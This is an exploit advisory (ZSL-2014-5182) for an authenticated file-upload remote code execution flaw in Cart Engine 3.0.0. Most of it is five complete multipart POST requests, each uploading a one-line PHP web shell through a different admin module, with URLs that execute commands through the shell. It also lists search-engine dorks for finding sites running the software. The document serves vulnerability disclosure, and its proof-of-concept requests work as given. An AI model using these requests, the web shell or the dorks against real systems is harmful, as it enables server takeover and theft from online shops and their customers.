350 lines
No EOL
9.6 KiB
Text
350 lines
No EOL
9.6 KiB
Text
|
|
Cart Engine 3.0.0 Remote Code Execution
|
|
|
|
|
|
Vendor: C97net
|
|
Product web page: http://www.c97.net
|
|
Affected version: 3.0.0
|
|
|
|
Summary: Open your own online shop today with Cart Engine! The
|
|
small, yet powerful and don't forget, FREE shopping cart based
|
|
on PHP & MySQL. Unique features of Cart Engine include: CMS engine
|
|
based on our qEngine, product options, custom fields, digital
|
|
products, search engine friendly URL, user friendly administration
|
|
control panel, easy to use custom fields, module expandable, sub
|
|
products, unsurpassed flexibility...and more!
|
|
|
|
Desc: Cart Engine suffers from an authenticated arbitrary code
|
|
execution. The vulnerability is caused due to the improper verification
|
|
of uploaded files in several modules thru several POST parameters.
|
|
This can be exploited to execute arbitrary PHP code by uploading
|
|
a malicious PHP script file that will be stored in '/public/image'
|
|
directory. Minimum permissions needed for a user to upload any file:
|
|
|
|
User level: Regular (param: user_level=1)
|
|
Admin level: Editor (param: admin_level=3)
|
|
|
|
Only the 'Super Admin' level makes the Tool 'File Manager' available.
|
|
|
|
|
|
Tested on: Apache/2.4.7 (Win32)
|
|
PHP/5.5.6
|
|
MySQL 5.6.14
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2014-5182
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5182.php
|
|
|
|
|
|
Dork #1: intitle:powered by c97.net
|
|
Dork #2: intitle:powered by qEngine
|
|
Dork #3: intitle:powered by Kemana.c97.net
|
|
Dork #4: intitle:powered by Cart2.c97.net
|
|
|
|
|
|
|
|
07.03.2014
|
|
|
|
---
|
|
|
|
|
|
#1 (Modules > qBanner > Manage Banner > Add Entry)
|
|
|
|
POST http://localhost/ce3_0/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1
|
|
|
|
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="AXSRF_token"
|
|
|
|
52e9c9ff9bb251a144b82a662496f5b8
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="qadmin_cmd"
|
|
|
|
new
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="qadmin_process"
|
|
|
|
1
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="qadmin_savenew"
|
|
|
|
0
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="primary_key"
|
|
|
|
page_id
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="primary_val"
|
|
|
|
dummy
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_image"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php passthru($_GET['cmd']); ?>
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_title"
|
|
|
|
ZSL
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_keyword"
|
|
|
|
http://www.zeroscience.mk
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="group_id"
|
|
|
|
QBANR
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_body"
|
|
|
|
This page is part of qBanner module. Please use qBanner Manager to edit this page.
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_allow_comment"
|
|
|
|
-----------------------------225222869427624
|
|
Content-Disposition: form-data; name="page_list"
|
|
|
|
-----------------------------225222869427624--
|
|
|
|
|
|
Upload location: http://localhost/ce3_0/public/image/
|
|
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
|
|
|
|
|
|
|
|
|
|
#2 (Tools > File Manager > Upload)
|
|
|
|
POST http://localhost/ce3_0/admin/fman/upload_process.php HTTP/1.1
|
|
|
|
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="chdir"
|
|
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="n"
|
|
|
|
5
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="userfile_1"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php passthru($_GET['cmd']); ?>
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="userfile_2"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="userfile_3"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="userfile_4"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
-----------------------------76802486520945
|
|
Content-Disposition: form-data; name="userfile_5"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
-----------------------------76802486520945--
|
|
|
|
|
|
Upload location: Anywhere within the webroot folder and its subfolders.
|
|
Exec: http://localhost/ce3_0/shell.php?cmd=whoami
|
|
|
|
|
|
|
|
|
|
#3 (Modules > Slideshow > Manage Slides > Add Entry)
|
|
|
|
POST http://localhost/ce3_0/admin/task.php?mod=slideshow&run=edit.php& HTTP/1.1
|
|
|
|
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="AXSRF_token"
|
|
|
|
52e9c9ff9bb251a144b82a662496f5b8
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="qadmin_cmd"
|
|
|
|
new
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="qadmin_process"
|
|
|
|
1
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="qadmin_savenew"
|
|
|
|
0
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="primary_key"
|
|
|
|
page_id
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="primary_val"
|
|
|
|
dummy
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_image"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php passthru($_GET['cmd']); ?>
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_title"
|
|
|
|
ZSL
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_keyword"
|
|
|
|
http://www.zeroscience.mk
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="group_id"
|
|
|
|
SSHOW
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_body"
|
|
|
|
This page is part of SlideShow module. Please use SlideShow Manager to edit this page.
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_allow_comment"
|
|
|
|
-----------------------------23201806221528
|
|
Content-Disposition: form-data; name="page_list"
|
|
|
|
-----------------------------23201806221528--
|
|
|
|
|
|
Upload location: http://localhost/ce3_0/public/image/
|
|
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
|
|
|
|
|
|
|
|
|
|
#4 (Contents > Manage Categories > Add Entry)
|
|
|
|
POST http://localhost/ce3_0/admin/page_cat.php? HTTP/1.1
|
|
|
|
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="AXSRF_token"
|
|
|
|
3afa0c7483889ac54d7b6afa4083a9a2
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="qadmin_cmd"
|
|
|
|
new
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="qadmin_process"
|
|
|
|
1
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="qadmin_savenew"
|
|
|
|
0
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="primary_key"
|
|
|
|
idx
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="primary_val"
|
|
|
|
dummy
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="group_id"
|
|
|
|
GENPG
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="parent_id"
|
|
|
|
1
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="cat_name"
|
|
|
|
ZSL
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="permalink"
|
|
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="cat_details"
|
|
|
|
<p>Zero Science Lab</p>
|
|
-----------------------------205172563220150
|
|
Content-Disposition: form-data; name="cat_image"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php passthru($_GET['cmd']); ?>
|
|
-----------------------------205172563220150--
|
|
|
|
|
|
Upload location: http://localhost/ce3_0/public/image/
|
|
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
|
|
|
|
|
|
|
|
|
|
#5 (Products > Category > Add Entry)
|
|
|
|
POST http://localhost/ce3_0/admin/product_cat.php? HTTP/1.1
|
|
|
|
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="AXSRF_token"
|
|
|
|
c3d8ccc82a75bb49d7698b6ed27fd016
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="qadmin_cmd"
|
|
|
|
new
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="qadmin_process"
|
|
|
|
1
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="qadmin_savenew"
|
|
|
|
0
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="primary_key"
|
|
|
|
idx
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="primary_val"
|
|
|
|
dummy
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="parent_id"
|
|
|
|
1
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="cat_name"
|
|
|
|
ZSL
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="permalink"
|
|
|
|
zsl
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="cat_details"
|
|
|
|
<p>CategoryDesc</p>
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="cat_image"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php passthru($_GET['cmd']); ?>
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="cat_keywords"
|
|
|
|
Zero Science Lab
|
|
-----------------------------137423069119287
|
|
Content-Disposition: form-data; name="cat_featured"
|
|
|
|
-----------------------------137423069119287--
|
|
|
|
|
|
Upload location: http://localhost/ce3_0/public/image/
|
|
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami |